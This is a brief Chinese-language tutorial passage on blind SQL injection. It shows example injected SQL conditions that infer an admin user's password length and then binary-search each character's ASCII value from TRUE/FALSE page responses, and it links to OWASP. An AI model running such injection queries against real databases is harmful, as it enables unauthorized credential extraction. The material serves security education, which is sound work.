資料萃取

Blind based：透過頁面的回應 (TRUE & FALSE) 以判斷注入的指令有無成功執行。

常用的方法為推演法：

推算 admin 的密碼長度：

select * from test where A = 1 and (select len(passwd) from users where id = 1) = 1

select * from test where A = 1 and (select len(passwd) from users where id = 1) = 2

select * from test where A = 1 and (select len(passwd) from users where id = 1) = 3

得知長度後，利用二分法推算 admin 的密碼第一位：

select * from test where A = 1 and (select asc(mid(passwd,1,1)) from users where id = 1) > 128

select * from test where A = 1 and (select asc(mid(passwd,1,1)) from users where id = 1) > 64

select * from test where A = 1 and (select asc(mid(passwd,1,1)) from users where id = 1) > 32

這邊只講到這邊， Blind-based 的 Injection 同樣也有很多好玩的利用方法，以下提供網址供讀者參考：

https://www.owasp.org/index.php/Blind_SQL_Injection